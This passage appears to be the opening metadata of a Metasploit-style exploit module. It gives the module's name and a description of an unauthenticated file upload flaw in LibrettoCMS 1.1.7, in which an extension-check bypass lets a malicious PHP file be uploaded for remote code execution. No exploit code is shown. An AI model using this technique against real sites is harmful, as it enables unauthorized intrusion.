'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",
'Description' => %q{
This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
possibly prior. Attackers bypass the file extension check and abuse the upload
feature in order to upload a malicious PHP file without authentication, which
results in arbitary remote code execution.
